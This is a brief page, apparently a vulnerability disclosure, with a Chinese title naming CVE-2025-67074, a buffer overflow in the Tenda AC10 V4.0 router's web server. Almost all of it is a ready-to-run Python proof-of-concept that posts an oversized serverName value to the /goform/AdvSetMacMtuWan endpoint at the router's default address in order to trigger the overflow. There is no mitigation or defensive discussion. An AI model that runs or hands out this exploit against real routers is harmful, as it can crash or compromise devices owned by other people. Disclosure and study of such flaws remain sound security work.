CVE-2025-67074 Tenda AC10V4.0 httpd缓冲区溢出漏洞

import requests # CVE-2025-67074 PoC - Tenda AC10V4.0 Buffer Overflow in fromAdvSetMacMtuWan # Target: Tenda AC10V4.0 router with firmware V16.03.10.20 # Endpoint: /goform/AdvSetMacMtuWan target_ip = "192.168.0.1" # Default Tenda router IP url = f"http://{target_ip}/goform/AdvSetMacMtuWan" # Generate overflow payload - long string to trigger buffer overflow # Adjust length based on target buffer size overflow_length = 1024 # Example length, may need adjustment payload = "A" * overflow_length # Construct POST request with crafted serverName parameter data = { "serverName": payload } try: response = requests.post(url, data=data, timeout=5) print(f"[*] Request sent to {url}") print(f"[*] Payload length: {overflow_length}") print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}")